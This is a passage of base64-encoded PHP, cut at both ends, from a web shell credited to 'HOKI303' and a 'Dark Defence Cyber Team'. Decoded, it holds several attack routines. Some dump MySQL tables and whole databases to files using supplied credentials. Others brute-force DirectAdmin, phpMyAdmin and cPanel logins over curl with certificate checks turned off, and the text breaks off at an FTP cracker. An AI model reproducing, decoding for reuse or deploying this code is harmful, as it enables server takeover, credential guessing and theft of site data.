QpewoJCQkkdiA9IHRyaW0oJGNvbG9yc1ska10pOwoJCX1lbHNlewoJCQkkdiA9IHRyaW0oaXNfYXJyYXkoJHYpPyR2WyJrZXlfY29sb3IiXTokdik7CgkJfQoJCSRhcnJheSAuPSAnIicudHJpbSgkaykuJyIgPT4gIicuJHYuJyIsJzsKCX0KCUBja
GRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSk7CgkkYmFzZW5hbWUgPSBAYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pOwoJJGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTsKCSRjb2xvciA9ICcvXCdjb2xvclwnKC4qPylc
KSwvcyc7CglpZihwcmVnX21hdGNoKCRjb2xvciwkZGF0YSwkZSkpewoJCSRuZXcgPSAiJ2NvbG9yJyA9PiBhcnJheSgiLiRhcnJheS4iKSwiOwoJCSRkYXRhID0gc3RyX3JlcGxhY2UoJGVbMF0sJG5ldywkZGF0YSk7CgkJaWYoQGZpbGVfcHV0X2N
vbnRlbnRzKCRiYXNlbmFtZSwgJGRhdGEpKXsKCQkJZWNobygiPGNlbnRlcj48cD48aDM+WytdIFN1Y2Nlc3MuLi48L2gzPjwvcD48L2NlbnRlcj48c2NyaXB0PmxvY2F0aW9uLnJlbG9hZCgpOzwvc2NyaXB0PiIpOwoJCX1lbHNlewoJCQllY2hvKC
I8Y2VudGVyPjxwPjxoMz5bLV0gV2UgTm90IGhhdmUgcGVybWlzc2lvbiB0byBFZGl0IHNoZWxsLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpOwoJCX0KCX1lbHNlewoJCWVjaG8oIjxjZW50ZXI+PHA+PGgzPlstXSBFcnJvci4uLiE8L2gzPjwvcD48L
2NlbnRlcj4iKTsKCX0KfQp9CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWFib3V0dXMoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj4nOwokbmV3cyA9IG5ldyBIb2tpQ1VSTCgpOwok
YWJvdXRfdXMgPSAkbmV3cy0+U2VuZCgiaHR0cHM6Ly93d3cuZ29vZ2xlLmNvLmlkL3NlYXJjaD9xPW1pc3Rlcmhva2kmc2NhX2Vzdj0yOGU5Y2JhNDc2MTkzZDQyJnN4c3JmPUFETFlXSUsyRDhGLVZ0X3UtOTlxS0RtbXN6enBzUEpIa1ElM0ExNzE
3NDE2MTE1OTMyJnNvdXJjZT1ocCZlaT1zN0JkWnQzWE50aVI0LUVQM29pOS1BNCZpZmxzaWc9QUw5aGJkZ0FBQUFBWmwyLXc5Q3dtM0J3RmN6c1Y4VDd3VDNHOWc1a2RyNjcmb3E9bWlzdGVyJmdzX2xwPUVnZG5kM010ZDJsNklnWnRhWE4wWlhJcU
FnZ0FNZ29RSXhpQUJCZ25HSW9GTWdzUUFCaUFCQml4QXhpREFUSUxFQUFZZ0FRWXNRTVlnd0V5Q3hBQUdJQUVHTEVER0lNQk1nc1FBQmlBQkJpeEF4aURBVElRRUFBWWdBUVlzUU1ZZ3dFWWlnVVlDaklMRUFBWWdBUVlzUU1ZZ3dFeUJSQUFHSUFFT
WdzUUFCaUFCQml4QXhpREFUSUZFQUFZZ0FSSXJDRlFsUWhZekJad0JIZ0FrQUVBbUFHWEFxQUIzUWlxQVFVMExqUXVNYmdCQThnQkFQZ0JBWmdDRGFBQzlRaW9BZ3JDQWdjUUl4Z25HT29Dd2dJRUVDTVlKOElDRUJBQUdJQUVHTEVER0VNWWd3RVlp
Z1hDQWdzUUxoaUFCQml4QXhpREFjSUNDaEFBR0lBRUdFTVlpZ1hDQWc0UUFCaUFCQml4QXhpREFSaUtCY0lDQ0JBQUdJQUVHTEVEd2dJS0VBQVlnQVFZc1FNWUNzSUNEaEF1R0lBRUdNY0JHSTRGR0s4QndnSU5FQUFZZ0FRWXNRTVlnd0VZQ3NJQ0J
4QUFHSUFFR0FxWUF3ZVNCd1U0TGpRdU1hQUg5ejgmc2NsaWVudD1nd3Mtd2l6Iik7CmlmKGVtcHR5KCRhYm91dF91cykpewokYWJvdXRfdXMgPSAiPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ2
8ucG5nJz48YnI+CjxiPjxmb250IHNpemU9JyszJyBjb2xvcj0nIzAwQTIyMCc+JiM5Nzc0OyB+IFBFQUNFIH4gJiM5Nzc0OzwvZm9udD48YnI+PGI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5TaGVsbCBSZWNvZGVkIEJ5IEtpc2UgUnlvdW5pICYgQ
m9jaWwgKEhPS0kzMDMpPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyMwMEEyMjAnPkNvbnRhY3QgOiBraXNlcnlvdW5pQGdtYWlsLmNvbTwvZm9udD48YnI+Cjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbTogQGtpc2VyeW91bmk8L2ZvbnQ+
PGJyPgo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SW5kb25lc2lhbiBHdWxmIEZvciBFdmVyPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDAnPkRhcmsgRGVmZW5jZSBDeWJlciBUZWFtPC9mb250Pjxicj4KPGZvbnQgY29sb3I9JyNGRjAwMDA
nPiMjIyMjIyMjIyMjIzwvZm9udD48YnI+CjwvY2VudGVyPjwvcHJlPjxpZnJhbWUgc3JjPSd0ZzovL3Jlc29sdmU/ZG9tYWluPWtpc2VyeW91bmknIGZyYW1lYm9yZGVyPScwJyB3aWR0aD0nMCcgaGVpZ2h0PScwJz48L2lmcmFtZT4iOwp9CmVjaG
8gX19wcmUoKS4kYWJvdXRfdXM7CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWNvbGR1bXBlcigpewpob2tpaGVhZCgpOwplY2hvKCc8ZGl2IGNsYXNzPSJoZWFkZXIiPicpOwpIb2tpTnVtKDgsOSwxMCk7CmVja
G8gIjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15c3FsIENvbHVtbiBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cInZhciBv
cHRfaWQ9dGhpcy5nZXRBdHRyaWJ1dGUoJ29wdF9pZCcpO3ZhciBkZWxpbWl0ZXI9J2pzb24nO3RyeXtpZigkKCdkdW1wZXItZGVsaW1pdGVyLXR5cGUnKS52YWx1ZSA9PSAnZGVsaW1pdGVyJylkZWxpbWl0ZXI9JCgnZHVtcGVyLWRlbGltaXRlci1
pbnB1dCcpLnZhbHVlfWNhdGNoKGUpe307ZygnY29sZHVtcGVyJyxudWxsLGRlbGltaXRlcixKU09OLnN0cmluZ2lmeShjb2xfZHVtcGVyX3NlbGVjdGVkX2RhdGFbb3B0X2lkXSksdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3
JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVtvcHRfaWRdID0ge307cmV0dXJuIGZhbHNlO1wiPjxwPiI7CiRkZWxpbWl0ZXIgPSAoI
WVtcHR5KCRfUE9TVFsnaG9raTEnXSkgPyAkX1BPU1RbJ2hva2kxJ10gOiAnOjonKTsKJHNlbGVjdGVkX2RhdGEgPSBqc29uX2RlY29kZSgkX1BPU1RbJ2hva2kyJ10sIHRydWUpOwokdXNlcm5hbWUgPSAoJF9QT1NUWydob2tpMyddKTsKJHBhc3N3
b3JkID0gKCRfUE9TVFsnaG9raTQnXSk7CiRkYm5hbWUgPSAoJF9QT1NUWydob2tpNSddKTsKJGRmaWxlID0gKCRfUE9TVFsnaG9raTYnXSk7CiRob3N0ID0gKCRfUE9TVFsnaG9raTcnXSk7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSg
nY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfaG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9ob3N0JywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAkaG9zdCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndG
QyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAkdXNlcm5hbWUsI
CdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lu
cHV0VmFsdWUnID0+ICRwYXNzd29yZCwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCc
gPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJGRibmFtZSwgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ091dHB1dCBQYXRoOiAnLCAnaW5wdXROYW1lJy
A9PiAnZGZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAiPGJyPjxpbnB1dCB0eXBlPSdzdWJtaXQnI
HZhbHVlPScgJyBuYW1lPSdTdWJtaXQnPjwvcD48L2Zvcm0+PC9jZW50ZXI+IjsKJGRiID0gZmFsc2U7CmlmKCFlbXB0eSgkZGJuYW1lKSl7CgkkZGIgPSBAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1l
KTsKfQppZihjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPiAwKXsKCWlmKCRkYil7CgkJaWYoIWlzX2RpcigkZGZpbGUpKXsKCQkJJGRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJCX0KCQkkdGJscyA9ICIiOwoJCSRleHQgPSAnLnR4dCc7CgkJaWYoJGR
lbGltaXRlciA9PSAnanNvbicpewoJCQkkZXh0ID0gJy5qc29uJzsKCQl9CgkJZm9yZWFjaCAoJHNlbGVjdGVkX2RhdGEgYXMgJHRibCA9PiAkY29scykgewoJCQkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCAiLmltcG
xvZGUoJywnLCAkY29scykuIiBGUk9NICR0YmwiKTsKCQkJJGZpbGVfbmFtZSA9ICRkZmlsZS4nLycuJGRibmFtZS4nLicuJHRibC4kZXh0OwoJCQkkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCAidyIpOwoJCQkkZGF0YSA9IGFycmF5KCk7CgkJCXdoa
WxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHRhYmxlc19xdWVyeSwgTVlTUUxJX0FTU09DKSl7CgkJCQlpZigkZGVsaW1pdGVyID09ICJqc29uIil7CgkJCQkJJGNvbF9hcnIgPSBhcnJheSgpOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtl
eSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJICRjb2xfYXJyWyRrZXldID0gJHZhbHVlOwoJCQkJCX0KCQkJCQkkZGF0YVskdGJsXVtdID0gJGNvbF9
hcnI7CgkJCQl9ZWxzZXsKCQkJCQkkZGF0YSA9ICIiOwoJCQkJCWZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsdWUpIHsKCQkJCQkJaWYoZW1wdHkoJHZhbHVlKSl7CgkJCQkJCQkkdmFsdWUgPSAiW2VtcHR5XSI7CgkJCQkJCX0KCQkJCQkJJG
RhdGEgLj0gJHZhbHVlIC4gJGRlbGltaXRlcjsKCQkJCQl9CgkJCQkJZndyaXRlKCRmcCwgJGRhdGEgLiJcbiIpOwoJCQkJfQoJCQl9CgkJCWlmKCRkZWxpbWl0ZXIgPT0gImpzb24iKXsKCQkJCWZ3cml0ZSgkZnAsIGpzb25fZW5jb2RlKCRkYXRhK
Sk7CgkJCX0KCQkJZmNsb3NlKCRmcCk7CgkJCSR0YmxzIC49ICJEb25lIH5+fj4gIi4kZmlsZV9uYW1lLiI8YnI+IjsKCQl9CgkJZWNobyBfX3ByZSgpOwoJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9JyMwMEZGMDAnPiIuJHRibHMuIjwvZm9u
dD48L2NlbnRlcj4iOwoJfQp9CmlmKCFlbXB0eSgkZGJuYW1lKSAmJiBjb3VudCgkc2VsZWN0ZWRfZGF0YSkgPT0gMCl7Ci8vZWNobyBfX3ByZSgpOwppZigkZGIpewoJZWNobygiPGhyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmd
pbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGRlcjsnPjxzcGFuPlsgU2VsZWN0IHlvdXIgdGFibGVzIGFuZCBjb2x1bW5zIGZvciBkdW1waW5nIGRhdGEgXTwvc3Bhbj48L2Rpdj4iKTsKCWVjaG8oIjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2
VudGVyOyc+PHNwYW4+T3V0cHV0IFR5cGU6IDwvc3Bhbj48c2VsZWN0IGlkPSdkdW1wZXItZGVsaW1pdGVyLXR5cGUnIG9uY2hhbmdlPSdjb2xEdW1wbGVyU2VsZWN0VHlwZSh0aGlzKTsnIG5hbWU9J291dHB1dF90eXBlJz48b3B0aW9uIHZhbHVlP
SdkZWxpbWl0ZXInIHNlbGVjdGVkPmRlbGltaXRlcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2pzb24nPmpzb248L29wdGlvbj48L3NlbGVjdD48ZGl2IGlkPSdjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0nZGlzcGxheTppbmxpbmU7
Jz48c3Bhbj4gRGVsaW1pdGVyOiA8L3NwYW4+PGlucHV0IGlkPSdkdW1wZXItZGVsaW1pdGVyLWlucHV0JyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdkZWxpbWl0ZXInIHBsYWNlaG9sZGVyPSdlZzogLCc+PC9
kaXY+PC9kaXY+Iik7CgkkZGF0YSA9IGFycmF5KCk7CgkkdGFibGVzX3F1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRkYiwgIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWEgPSBkYX
RhYmFzZSgpOyIpOwoJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9hcnJheSgkdGFibGVzX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1dID0gYXJyYXkoKTsKCQkkdGFibGVfY291bnRfcSA9IG15c3Fsa
V9xdWVyeSgkZGIsICJTRUxFQ1QgY291bnQoKikgRlJPTSBgIi4kcm93Wyd0YWJsZV9uYW1lJ10uImAiKTsKCQkkdGFibGVfY291bnQgPSBteXNxbGlfZmV0Y2hfcm93KCR0YWJsZV9jb3VudF9xKTsKCQkkZGF0YVskcm93WyJ0YWJsZV9uYW1lIl1d
WyJkYXRhX2NvdW50Il0gPSAkdGFibGVfY291bnRbMF07CgkJJGNvbHVtbnNfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGRiLCAiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfbmFtZSA
9ICciLiRyb3dbJ3RhYmxlX25hbWUnXS4iJyIpOwoJCXdoaWxlKCRyb3cyID0gbXlzcWxpX2ZldGNoX2FycmF5KCRjb2x1bW5zX3F1ZXJ5LCBNWVNRTElfQVNTT0MpKXsKCQkJJGRhdGFbJHJvd1sidGFibGVfbmFtZSJdXVsiY29scyJdW10gPSAkcm
93MlsiY29sdW1uX25hbWUiXTsKCQl9Cgl9CglteXNxbGlfY2xvc2UoJGRiKTsKCgllY2hvICc8dWwgaWQ9Im15VUwiPic7Cglmb3JlYWNoKCRkYXRhIGFzICR0YmwgPT4gJGNvbHMpewoJICAgIGVjaG8gJzxsaT48c3BhbiBzdHlsZT0iY29sb3I6I
zAwRkYwMDsiIGNsYXNzPSJib3giPicuJHRibC4nICgnLiRjb2xzWyJkYXRhX2NvdW50Il0uJyk8L3NwYW4+PHVsIGNsYXNzPSJuZXN0ZWQiPic7CgkgICAgZm9yZWFjaCgkY29sc1siY29scyJdIGFzICRjb2wpewoJICAgICAgICBlY2hvICc8bGkg
dGJsPSInLiR0YmwuJyI+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEZGMDA7IiB0Ymw9IicuJHRibC4nIiBjbGFzcz0iYm94IHN1Yi1ib3giPicgLiAkY29sIC4gJzwvc3Bhbj48L2xpPic7CgkgICAgfQoJICAgIGVjaG8gJzwvdWw+PC9saT4nOwoJfQo
JZWNobyAnPC91bD4nOwp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjdCA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpRHVtcGVyKCl7Cmhva2loZWFkKC
k7CmVjaG8oJzxkaXYgY2xhc3M9ImhlYWRlciI+Jyk7Ckhva2lOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgTXlzcWwgRGF0YWJhc2UgRHVtcGVyIHw8L2Rpdj48YnI+PGJyPiIuZ2V0Q
29uZmlnSHRtbCgnYWxsJykuIjxmb3JtIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9XCJnKCdkdW1wZXInLG51bGwsbnVsbCxudWxsLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUs
dGhpcy5kZmlsZS52YWx1ZSx0aGlzLmRiX2hvc3QudmFsdWUpOyByZXR1cm4gZmFsc2U7XCI+PHA+IjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9ob3N0IDogJywgJ2l
ucHV0TmFtZScgPT4gJ2RiX2hvc3QnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJy
A9PiAnZGJfdXNlcm5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+I
CdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9Pgog
YXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX25hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfbmFtZScsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAo
gJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEdW1wIFBhdGg6ICcsICdpbnB1dE5hbWUnID0+ICdkZmlsZScsICdpbnB1dFZhbHVlJyA9PiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJ2
hva2kuc3FsJywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gIjxicj48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CiR1c2Vyb
mFtZSA9ICgkX1BPU1RbJ2hva2kzJ10pOwokcGFzc3dvcmQgPSAoJF9QT1NUWydob2tpNCddKTsKJGRibmFtZSA9ICgkX1BPU1RbJ2hva2k1J10pOwokZGZpbGUgPSAoJF9QT1NUWydob2tpNiddKTsKJGhvc3QgPSAoJF9QT1NUWydob2tpNyddKTsK
aWYoIWVtcHR5KCRkYm5hbWUpKXsKZWNobyBfX3ByZSgpOwokbXNnID0gIjxjZW50ZXI+Q2hlY2sgdGhpcyA6ICA8Zm9udCBjb2xvcj0ncmVkJz4iLiRkZmlsZS4iPC9mb250PjwvY2VudGVyPiI7CmlmKEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXN
lcm5hbWUsJHBhc3N3b3JkLCRkYm5hbWUpKXsKaWYoc3RybGVuKGhva2lFeCgibXlzcWxkdW1wIikpPjApewpob2tpRXgoIm15c3FsZHVtcCAtLXNpbmdsZS10cmFuc2FjdGlvbiAtLWhvc3Q9XCIkaG9zdFwiIC0tdXNlcj1cIiR1c2VybmFtZVwiIC
0tcGFzc3dvcmQ9XCIkcGFzc3dvcmRcIiAkZGJuYW1lID4gJyIuYWRkc2xhc2hlcygkZGZpbGUpLiInIik7CmVjaG8oJG1zZyk7Cn1lbHNlewpfX2FsZXJ0KCJFcnJvci4uLiEiKTsKfQp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjd
CA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBIb2tpX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pewppZighJGluZm9bJ215c3FsJ10pCiR1cmwgPSAkaW5mb1sncHJvdG9j
b2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOwplbHNlICR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJy9waHBteWFkbWluJzsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9
zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRm
lyZWZveC8xNy4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSL
DApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUlBXRCwgJGluZm9bJ3VzZXJuYW1l
J10uJzonLiRpbmZvWydwYXNzd29yZCddKTsKaWYoJGluZm9bJ215c3FsJ10pY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0FOWSk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSB
jdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcm
VnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7CmVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkI
j4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOwokaW5mb1sndGFyZ2V0J10gPSAkdXJsOwpDcmFja2VyUmVzdWFsdCgkaW5mbyk7Cn0KY3VybF9jbG9z
ZSgkY3VybCk7Cn0KZnVuY3Rpb24gSG9raV9DUF9DcmFja2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN
1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy
4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwpjdXJsX
3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIkF1dGhvcml6YXRpb246IEJhc2ljICIgLiBfX1pXNWpiMlJsY2coJGluZm9bJ3VzZXJuYW1l
J10uIjoiLiRpbmZvWydwYXNzd29yZCddKSAuICJcblxyIikpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7CiR
jdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnL2ZpbGVtYW5hZ2
VyL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9ud
CBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX0ZUUF9DcmFj
